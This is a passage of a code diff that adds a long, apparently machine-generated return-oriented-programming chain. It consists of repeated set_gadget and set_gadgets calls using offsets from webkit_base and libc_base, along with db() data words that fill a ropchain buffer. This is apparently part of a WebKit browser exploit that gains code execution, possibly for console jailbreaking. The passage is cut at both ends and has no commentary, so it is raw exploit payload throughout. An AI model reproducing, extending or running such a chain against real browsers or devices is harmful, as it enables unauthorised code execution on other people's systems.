+webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+68608, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+68744, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+68760, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+68880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+68864, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+68968, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+68952, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+69072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+69088, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+69208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+69192, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+69280, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+69392, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+69408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278 +]); +db([16, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+69496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+69512, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+69672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+69704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+69656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+69688, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+69800, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+69784, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+70000, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+69968, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+70104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+70088, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857183, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+70208, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+70296, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+70312, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+70472, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+70504, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+70456, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+70488, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+70600, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+70584, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([16711680, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+70712, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+70944, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+70912, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+71048, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+71032, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857183, +libc_base+713278, +ropchain+71104, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+71160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+71288, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+71376, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+71392, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+71552, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+71584, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+71536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+71568, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+71680, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+71664, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([65280, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+71792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+857161, +libc_base+713278, +ropchain+71976, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+72032, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+72160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+72248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+72264, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+72424, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+72456, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+72408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+72440, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+72552, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+72536, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+857161, +libc_base+713278, +ropchain+72704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+72760, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+72896, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+72864, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+73032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+73048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+73016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+73152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+73168, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+73288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+73272, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+73376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+73360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+73480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+73496, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+73616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+73600, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+73688, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+73752, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([16, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+73848, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+73920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+74040, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+74096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+74160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+74248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+74264, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+74424, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+74456, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+74408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+74440, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+74536, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+74552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+74648, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+74632, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+74744, +webkit_base+4687784, +libc_base+768796 +]); +db([4, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([4, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+74888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+74904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+74872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+75080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+75096, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+75064, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+75224, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+75256, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+75240, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+75368, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+75360, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+75384, +ropchain+75400, +libc_base+489696, +ropchain+75416, +libc_base+489696, +ropchain+86016, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+75536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+75552, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+75696, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+75664, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+75680, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+75768, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+75824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([7, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+75968, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+76056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+76072, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+76232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+76264, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+76216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+76248, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+76392, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+76408, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+76376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+76520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+76536, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+76624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+76680, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+76808, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+76840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+76824, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+229136, +libc_base+713278, +ropchain+77000, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+76952, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+76968, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+77056, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+77168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+77200, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+77184, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+77360, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+77312, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+77328, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+77416, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+77528, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+77560, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+77544, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+77720, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+77672, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+77688, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+77776, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+77888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+77920, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+77904, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+78000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+78016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+78136, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+78120, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967283, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+78264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+78280, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+78424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+78392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+78408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+78496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+78552, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+78648, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+78736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+78752, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+78912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+78944, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+78896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+78928, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+79072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+79088, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+79056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, 